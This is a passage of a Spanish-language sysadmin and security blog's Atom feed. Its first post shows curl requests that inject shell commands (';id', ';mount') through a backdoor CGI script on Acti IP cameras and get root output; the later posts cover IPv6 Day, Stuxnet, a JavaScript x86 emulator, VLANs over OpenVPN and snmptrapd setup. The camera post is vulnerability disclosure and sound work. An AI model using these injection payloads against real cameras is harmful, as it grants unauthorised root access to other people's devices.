0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1024 ..&lt;br /&gt;drwxr-xr-x&amp;nbsp;&amp;nbsp; 13 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1024 .&lt;/div&gt;&lt;br /&gt;Ahora lo mejor de todo: si probamos el queridismo comando 'id'&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;$curl 'http://192.168.1.100/cgi-bin/test?iperf=;id'&lt;br /&gt;execute : /sbin/iperf -c ;id &amp;amp;&lt;br /&gt;uid=0(root) gid=0(root)&lt;/div&gt;&lt;br /&gt;Podemos ver que estamos ejecutando código arbitrario y no solo eso, como root!!!, así que la pregunta es la siguiente para que quiero un ssh y un firewall en estas cámaras si tengo tremendo backdoor???&lt;br /&gt;&lt;br /&gt;Para asegurarnos de cerrar este backdoor tendria que bastar con un 'chmod 000 test':&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;$curl 'http://192.168.1.100/cgi-bin/test?iperf=;chmod%2u-x%20g-x%o-x%20test'&lt;/div&gt;&lt;br /&gt;Ya que estamos en un filesystem de lectura y escritura:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;$curl 'http://192.168.1.100/cgi-bin/test?iperf=;mount'&lt;br /&gt;execute : /sbin/iperf -c ;mount &amp;amp;&lt;br /&gt;rootfs on / type rootfs (rw)&lt;br /&gt;/dev/ram0 on / type ext2 (rw)&lt;br /&gt;none on /proc type proc (rw)&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;La version vulnerable encontrada era la A1D-220-V3.09.05-AC en versiones nuevas este backdoor ya no esta presente.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-8282890377244386793?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/8282890377244386793/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/06/sobre-camaras-acti.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/8282890377244386793'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/8282890377244386793'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/06/sobre-camaras-acti.html' title='Sobre camaras Acti'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-5211302645727732047</id><published>2011-06-08T05:43:00.000-07:00</published><updated>2011-06-08T05:47:28.871-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='ipv6'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><title type='text'>Feliz dia IPv6</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.worldipv6day.org/files/2011/05/IPv6-badge-blk-512-trans.png" imageanchor="1" style="clear: left; float: left;"&gt;&lt;img height="320" src="http://www.worldipv6day.org/files/2011/05/IPv6-badge-blk-512-trans.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Hoy es el día de &lt;a href="http://es.wikipedia.org/wiki/IPv6"&gt;IPv6&lt;/a&gt;, &lt;a href="http://es.wikipedia.org/wiki/IPv6"&gt;IPv6&lt;/a&gt; es el sucesor de &lt;a href="http://es.wikipedia.org/wiki/IPv4"&gt;IPv4&lt;/a&gt;&amp;nbsp; el cual es un protocolo de ruteo y direccionamiento de red donde cada elemento activo que participa en la red tiene asignada una dirección IP de 32 bits en el caso de &lt;a href="http://es.wikipedia.org/wiki/IPv4"&gt;IPv4&lt;/a&gt; y que en &lt;a href="http://es.wikipedia.org/wiki/IPv6"&gt;IPv6&lt;/a&gt; corresponde a 128 bits.&lt;br /&gt;Dado el éxito y la gran expansión que tuvo Internet en estos años los 32 bits originales ya se han quedado cortos y se estima que en tan solo 35 días las direcciones IPv4 se terminaran haciendo imperativa la necesidad de migrar a ipv6.&lt;br /&gt;&amp;nbsp;Por eso hoy en todo el mundo se celebra el día &lt;a href="http://es.wikipedia.org/wiki/IPv6"&gt;IPv6&lt;/a&gt; y tanto &lt;a href="http://ipv6.google.com/"&gt;google&lt;/a&gt; como &lt;a href="http://www.facebook.com/"&gt;facebook&lt;/a&gt; estarán haciendo pruebas para implementar este nuevo protocolo.&lt;br /&gt;Incluso &lt;a href="http://ipv6.google.com/"&gt;google&lt;/a&gt; puso &lt;a href="http://ipv6test.google.com/"&gt;este&lt;/a&gt; sitio de prueba para ipv6.&lt;br /&gt;&lt;br /&gt;Para aquellos que todavía no tengan ipv6 y deseen configurar su equipo anteriormente hice un &lt;a href="http://dclavijo.blogspot.com/2008/08/configurar-tnel-ipv6-tspc-en-linux.html"&gt;post&lt;/a&gt; hace un tiempo que explica como configurarlo.&lt;br /&gt;&lt;br /&gt;Mas info &lt;a href="http://www.worldipv6day.org/"&gt;aquí&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-5211302645727732047?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/5211302645727732047/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/06/feliz-dia-ipv6.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/5211302645727732047'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/5211302645727732047'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/06/feliz-dia-ipv6.html' title='Feliz dia IPv6'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-3470262447614326427</id><published>2011-06-02T18:22:00.000-07:00</published><updated>2011-06-02T18:22:27.925-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='rootkit'/><category scheme='http://www.blogger.com/atom/ns#' term='seguridad'/><title type='text'>stuxnet</title><content type='html'>Stuxnet es un virus de tipo gusano descubierto en el 2010 que afecta sistemas windows pero que su objetivo no es este sino que son los sistemas &lt;a href="http://es.wikipedia.org/wiki/SCADA"&gt;SCADA&lt;/a&gt;.&lt;br /&gt;Estos sistemas se encargan del control industrial dentro de un sin numero de aplicaciones en los que se pueden encontrar sistemas criticos de un país como la generación de electricidad.&lt;br /&gt;La principal preocupación que genera este worm es el alto riesgo que implica para las centrales nucleares porque podría desestabilizar estas atacando un punto critico del sistema &lt;a href="http://es.wikipedia.org/wiki/SCADA"&gt;SCADA&lt;/a&gt;, el &lt;a href="http://es.wikipedia.org/wiki/Controlador_l%C3%B3gico_programable"&gt;PLC&lt;/a&gt;.&lt;br /&gt;Este worm es capas de reprogramar la interface &lt;a href="http://es.wikipedia.org/wiki/Controlador_l%C3%B3gico_programable"&gt;PLC&lt;/a&gt; instalando un &lt;a href="http://es.wikipedia.org/wiki/Rootkit"&gt;rootkit&lt;/a&gt; y ocultarse dentro de esta mediante técnicas de ofuscación.&lt;br /&gt;&lt;br /&gt;Un desarrollador anónimo descompilo este y dejo el código de fuente en &lt;a href="https://github.com/"&gt;github&lt;/a&gt;, lo pueden encontrar &lt;a href="https://github.com/Laurelai/decompile-dump/tree/master"&gt;aquí&lt;/a&gt;, el código no esta completo y es posible que no compile pero es muy util para su analicis con fines educativos.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-3470262447614326427?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/3470262447614326427/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/06/stuxnet.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/3470262447614326427'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/3470262447614326427'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/06/stuxnet.html' title='stuxnet'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-5402466630923851906</id><published>2011-05-23T12:10:00.000-07:00</published><updated>2011-05-23T12:19:34.332-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='qemu'/><category scheme='http://www.blogger.com/atom/ns#' term='emulacion'/><category scheme='http://www.blogger.com/atom/ns#' term='web'/><title type='text'>Emulador javascript de x86</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-D7obHsNae6o/TdqvTrmA5pI/AAAAAAAAAVs/2WxAQiFNSXQ/s1600/js.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="292" src="http://1.bp.blogspot.com/-D7obHsNae6o/TdqvTrmA5pI/AAAAAAAAAVs/2WxAQiFNSXQ/s400/js.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Anterior mente ya había comentado sobre unos proyectos similares a este que permitían correr un procesador &lt;a href="http://dclavijo.blogspot.com/2009/03/jsmips.html"&gt;mips&lt;/a&gt; en el navegador web emulado con javascript y un emulador &lt;a href="http://dclavijo.blogspot.com/2011/04/emulador-javascript-de-pdp11.html"&gt;PDP-11&lt;/a&gt; tambien en el navegador web.&lt;br /&gt;&lt;br /&gt;Hoy leyendo la lista de distribución de &lt;a href="http://uylug.org.uy/pipermail/uylug-linux/2011-May/017435.html"&gt;uylug&lt;/a&gt; me entero que el creador del qemu saco una versión de este que emula x86 sobre javascript, incluso google tiene un proyecto similar que se llama &lt;a href="http://code.google.com/p/nativeclient/"&gt;native client&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Lo pueden probar &lt;a href="http://bellard.org/jslinux/"&gt;aquí&lt;/a&gt;. &lt;br /&gt;&lt;br /&gt;Prueben ejecutar dentro de la maquina virtual:&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;dmesg | more&lt;/div&gt;&lt;span style="color: lime;"&gt;cat hello.c &amp;amp;&amp;amp; tcc hello.c &amp;amp;&amp;amp; ./hello &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-5402466630923851906?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/5402466630923851906/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/05/emulador-javascript-de-x86.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/5402466630923851906'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/5402466630923851906'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/05/emulador-javascript-de-x86.html' title='Emulador javascript de x86'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-D7obHsNae6o/TdqvTrmA5pI/AAAAAAAAAVs/2WxAQiFNSXQ/s72-c/js.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-550664526689316574</id><published>2011-05-17T17:50:00.000-07:00</published><updated>2011-05-17T18:00:38.945-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vlan'/><category scheme='http://www.blogger.com/atom/ns#' term='openvpn'/><title type='text'>Jugando con VLANs</title><content type='html'>Las VLAN como lo dice su acrónimo en ingles (&lt;a href="http://es.wikipedia.org/wiki/VLAN"&gt;Virtual LAN&lt;/a&gt;) o redes locales virtuales, no son mas que eso, son una facilidad que nos permite tener en una red LAN física varias redes LAN virtuales.&lt;br /&gt;Las pruebas las hice a través del la red vpn que hice anteriormente con &lt;a href="http://dclavijo.blogspot.com/2008/09/creando-vpns-con-openvpn.html"&gt;openvpn&lt;/a&gt;, el motivo es que al utilizar interfaces virtuales tap y no tun estas funcionan como una interface de capa 2 del modelo OSI, lo cual implica que tengo emulación full-ethernet.&lt;br /&gt;También se puede utilizar con interfaces físicas como eth pero estas tienen que tener soporte para 802.1q en el hardware y si estamos conectados a un switch este debería tener los puertos  al que tenemos conectadas las nic en modo trunk o hybrid.&lt;br /&gt;&lt;br /&gt;Una reseña sobre los modos en 802.1q:&lt;br /&gt;-Trunk: si un puerto se encuentra en este modo, solo aceptara paquetes tagueados, no les agrega un tag.&lt;br /&gt;-Hybrid: acepta paquetes que tengan o no un tag, si no lo tienen se le agrega uno.&lt;br /&gt;-Access: solo acepta paquetes ethernet que no tengan un tag y los taguea posteriormente.&lt;br /&gt;&lt;br /&gt;Por defecto la gran mayoría de los switchs solo vienen con el modo access al menos que este explícito que soporte 802.1q o que sea un smartswitch por lo cual no pasaran paquetes tagueados.&lt;br /&gt;&lt;br /&gt;Suponiendo que ya tenemos una vpn funcionando con interfaces tap:&lt;br /&gt;&lt;br /&gt;Instalamos el paquete vlan y cargamos el modulo 802.1q en ambas maquinas.&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;neuromancer:/home/daedalus# apt-get install vlan&lt;br /&gt;neuromancer:/home/daedalus# modprobe 8021q&lt;/div&gt;&lt;br /&gt;&lt;div class="code"&gt;wintermute:/home/daedalus# apt-get install vlan&lt;br /&gt;wintermute:/home/daedalus# modprobe 8021q&lt;/div&gt;&lt;br /&gt;Configuramos una interface virtual con una vlan que a su vez la &lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;neuromancer:/home/daedalus# vconfig add tap0 666&lt;br /&gt;Added VLAN with VID == 666 to IF -:tap0:-&lt;/div&gt;&lt;br /&gt;&lt;div class="code"&gt;wintermute:/home/daedalus# vconfig add tap0 666&lt;br /&gt;Added VLAN with VID == 666 to IF -:tap0:-&lt;/div&gt;&lt;br /&gt;Configuramos la interface virtual en el primer host:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;wintermute:/home/daedalus# ifconfig tap0.666 10.6.0.1 up&lt;br /&gt;wintermute:/home/daedalus# ifconfig tap0.666 &lt;br /&gt;tap0.666  Link encap:Ethernet  HWaddr 0e:14:23:18:f3:d0  &lt;br /&gt;inet addr:10.6.0.1  Bcast:10.255.255.255  Mask:255.0.0.0&lt;br /&gt;inet6 addr: fe80::c14:23ff:fe18:f3d0/64 Scope:Link&lt;br /&gt;UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&lt;br /&gt;RX packets:61 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;TX packets:43 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;collisions:0 txqueuelen:0 &lt;br /&gt;RX bytes:2512 (2.4 KiB)  TX bytes:7454 (7.2 KiB)&lt;/div&gt;&lt;br /&gt;Configuramos la interface virtual en el segundo host:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;neuromancer:/home/daedalus# ifconfig tap0.666 10.6.0.2 up&lt;br /&gt;neuromancer:/home/daedalus# ifconfig tap0.666 &lt;br /&gt;tap0.666  Link encap:Ethernet  HWaddr aa:16:90:79:fe:af  &lt;br /&gt;inet addr:10.6.0.2  Bcast:10.255.255.255  Mask:255.0.0.0&lt;br /&gt;inet6 addr: fe80::a816:90ff:fe79:feaf/64 Scope:Link&lt;br /&gt;UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&lt;br /&gt;RX packets:0 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;TX packets:3 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;collisions:0 txqueuelen:0 &lt;br /&gt;RX bytes:0 (0.0 B)  TX bytes:250 (250.0 B)&lt;/div&gt;&lt;br /&gt;Si la vpn esta funcionando bien y configuramos todo bien ya podríamos enviar paquetes de un extremo de la VLAN al otro.&lt;br /&gt;&lt;br /&gt;Probamos hacer un ping desde el primer host al segundo:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;wintermute:/home/daedalus# ping 10.6.0.2&lt;br /&gt;PING 10.6.0.2 (10.6.0.2) 56(84) bytes of data.&lt;br /&gt;64 bytes from 10.6.0.2: icmp_seq=1 ttl=64 time=5.10 ms&lt;br /&gt;64 bytes from 10.6.0.2: icmp_seq=2 ttl=64 time=2.12 ms&lt;br /&gt;64 bytes from 10.6.0.2: icmp_seq=3 ttl=64 time=2.19 ms&lt;br /&gt;64 bytes from 10.6.0.2: icmp_seq=4 ttl=64 time=2.15 ms&lt;/div&gt;&lt;br /&gt;Probamos hacer un ping desde el segundo host al primero:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;neuromancer:/home/daedalus# ping 10.6.0.1&lt;br /&gt;PING 10.6.0.1 (10.6.0.1) 56(84) bytes of data&lt;br /&gt;64 bytes from 10.6.0.1: icmp_req=1 ttl=64 time=5.89 ms&lt;br /&gt;64 bytes from 10.6.0.1: icmp_req=2 ttl=64 time=2.37 ms&lt;br /&gt;64 bytes from 10.6.0.1: icmp_req=3 ttl=64 time=2.57 ms&lt;br /&gt;64 bytes from 10.6.0.1: icmp_req=4 ttl=64 time=2.26 ms&lt;/div&gt;&lt;br /&gt;Por ultimo podemos iniciar un tcpdump y filtrar los paquetes que contengan el tag.&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;wintermute# tcpdump -i tap0 -e | grep -e 802.1Q&lt;br /&gt;&lt;br /&gt;23:36:29.309771 0e:14:23:18:f3:d0 (oui Unknown) &amp;gt; 01:00:5e:00:00:fb (oui Unknown), ethertype 802.1Q (0x8100), length 85: ethertype IPv4, 10.6.0.1 &amp;gt; 224.0.0.251.mdns: 0 PTR (QM)? 2.0.6.10.in-addr.arpa. (39)&lt;br /&gt;23:36:29.925335 aa:16:90:79:fe:af (oui Unknown) &amp;gt; 0e:14:23:18:f3:d0 (oui Unknown), ethertype 802.1Q (0x8100), length 102: ethertype IPv4, 10.6.0.2 &amp;gt; 10.6.0.1: ICMP echo request, id 2090, seq 139, length 64&lt;br /&gt;23:36:29.925449 0e:14:23:18:f3:d0 (oui Unknown) &amp;gt; aa:16:90:79:fe:af (oui Unknown), ethertype 802.1Q (0x8100), length 102: ethertype IPv4, 10.6.0.1 &amp;gt; 10.6.0.2: ICMP echo reply, id 2090, seq 139, length 64&lt;br /&gt;23:36:30.926792 aa:16:90:79:fe:af (oui Unknown) &amp;gt; 0e:14:23:18:f3:d0 (oui Unknown), ethertype 802.1Q (0x8100), length 102: ethertype IPv4, 10.6.0.2 &amp;gt; 10.6.0.1: ICMP echo request, id 2090, seq 140, length 64&lt;br /&gt;23:36:30.926917 0e:14:23:18:f3:d0 (oui Unknown) &amp;gt; aa:16:90:79:fe:af (oui Unknown), ethertype 802.1Q (0x8100), length 102: ethertype IPv4, 10.6.0.1 &amp;gt; 10.6.0.2: ICMP echo reply, id 2090, seq 140, length 64&lt;/div&gt;&lt;br /&gt;Al comprobar que todo funciona podemos crear los archivos /etc/network/interfaces en ambas maquinas:auto tap0 &lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;wintermute:/home/daedalus# more /etc/network/interfaces&lt;br /&gt;&lt;br /&gt;auto tap0&lt;br /&gt;iface tap0 inet static&lt;br /&gt;address 10.4.0.1&lt;br /&gt;netmask 255.255.255.0&lt;br /&gt;&lt;br /&gt;auto tap0.666&lt;br /&gt;iface tap0.666 inet static&lt;br /&gt;address 10.6.0.1&lt;br /&gt;netmask 255.255.255.0&lt;br /&gt;vlan_raw_device tap0&lt;/div&gt;&lt;br /&gt;&lt;div class="code"&gt;neuromancer:/home/daedalus# more /etc/network/interfaces&lt;br /&gt;&lt;br /&gt;auto tap0&lt;br /&gt;iface tap0 inet static&lt;br /&gt;address 10.4.0.2&lt;br /&gt;netmask 255.255.255.0&lt;br /&gt;&lt;br /&gt;auto tap0.666&lt;br /&gt;iface tap0.666 inet static&lt;br /&gt;address 10.6.0.2&lt;br /&gt;netmask 255.255.255.0&lt;br /&gt;vlan_raw_device tap0&lt;/div&gt;&lt;br /&gt;Reinicimos el servicio de networking en ambas maquinas y los cambios serán permanentes.&lt;br /&gt;&lt;br /&gt;Conclusión las VLAN al contrario de las VPN no son seguras ya que no autentican a quien envía el paquete solamente son un metodo de ordenación o una facilidad que nos puede hacer la tarea de segmentar una red sea casi trivial evitandonos tener que pensar en mascaras de subred y subredes.&lt;br /&gt;Por eso no hay que delegar seguridad sobre las VLAN esto es una terrible mala practica y menos si tenemos puertos trunk o hybridos en el caso de un switch.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-550664526689316574?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/550664526689316574/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/05/jugando-con-vlans.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/550664526689316574'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/550664526689316574'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/05/jugando-con-vlans.html' title='Jugando con VLANs'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-7602858475781061629</id><published>2011-05-06T12:53:00.000-07:00</published><updated>2011-05-06T13:01:02.901-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='snmp'/><category scheme='http://www.blogger.com/atom/ns#' term='snmptrapd'/><title type='text'>Configurando snmptrapd</title><content type='html'>Me puse a jugar con un snmptrapd y aqui documento su configuacion.&lt;br /&gt;&lt;br /&gt;Primero lo instalamos&amp;nbsp; &lt;br /&gt;&lt;br /&gt;#apt-get install snmpd&lt;br /&gt;&lt;br /&gt;Luego editamos el archivo &lt;span style="color: lime;"&gt;/etc/snmp/snmptrapd.conf&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;pidFile /var/run/snmptrapd.pid&lt;br /&gt;disableAuthorization yes&lt;br /&gt;logOption f /var/log/snmptrapd.log&lt;br /&gt;outputOption n&lt;br /&gt;printEventNumbers yes&lt;/div&gt;&lt;br /&gt;La opción pidfile indica en que archivo se guardara el proccess id.&lt;br /&gt;La opción disableAutorization indica que se desactive la autenticación para recibir traps.&lt;br /&gt;La opción outputOption es para que no se traduzcan los OID al ser impresos en el log.&lt;br /&gt;Y por ultimo la opción printEventNumbers indica que se tiene que imprimir el numero de evento en el log.&lt;br /&gt;&lt;br /&gt;Luego editamos el archivo &lt;span style="color: lime;"&gt;/etc/default/snmpd &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Comentamos la linea que dice:&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;TRAPDOPTS='-Lsd -p /var/run/snmptrapd.pid'&lt;/div&gt;&lt;br /&gt;Y agregamos la siguiente: &lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;TRAPDOPTS='-C -A -c /etc/snmp/snmptrapd.conf'&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Lo que hace la siguiente linea es cambiar las opciones por defecto con las que carga el snmptrapd y en ellas este explicito que cargue el archivo de configuracion /etc/snmp/snmptrapd después del -c, con -A abre el archivo de log en de modo append y no trunc, la diferencia entre modo y modo es que el cursor en el primer caso se sitúa al final del archivo y en el otro caso al inicio.&lt;br /&gt;La opción -C indica que no se lean mas que el único archivo de configuración dado en la linea de comandos.&lt;br /&gt;&lt;br /&gt;Reiniciamos el snmptrapd&lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;#/etc/init.d/snmptrapd restart &amp;amp;&amp;amp; tail -f /var/log/snmptrapd.log&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;Y por ultimo miramos el log, seguro no vamos a ver nada pero podemos verificar que el snmptrapd funciona con la siguiente prueba:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;$snmptrap -v2c -c public 192.168.1.2 "" 1.3.3.3 1.2.2.2 s "Esto es una prueba."&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;[UDP: [192.168.1.1]:59691-&amp;gt;[192.168.1.2]]: Trap , .1.3.6.1.2.1.1.3.0 = Timeticks: (86329945) 9 days, 23:48:19.45, .1.3.6.1.6.3.1.1.4.1.0 = OID: .1.3.3.3, .1.2.2.2 = STRING: "Esto es una prueba."&lt;br /&gt;[UDP: [192.168.1.1]:59691-&amp;gt;[192.168.1.2]]: Trap , .1.3.6.1.2.1.1.3.0 = Timeticks: (86329945) 9 days, 23:48:19.45, .1.3.6.1.6.3.1.1.4.1.0 = OID: .1.3.3.3, .1.2.2.2 = STRING: "Esto es una prueba."&lt;br /&gt;[UDP: [192.168.1.1]:59691-&amp;gt;[192.168.1.2]]: Trap , .1.3.6.1.2.1.1.3.0 = Timeticks: (86329945) 9 days, 23:48:19.45, .1.3.6.1.6.3.1.1.4.1.0 = OID: .1.3.3.3, .1.2.2.2 = STRING: "Esto es una prueba."&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-7602858475781061629?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/7602858475781061629/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/05/configurando-snmptrapd.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/7602858475781061629'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/7602858475781061629'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/05/configurando-snmptrapd.html' title='Configurando snmptrapd'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' 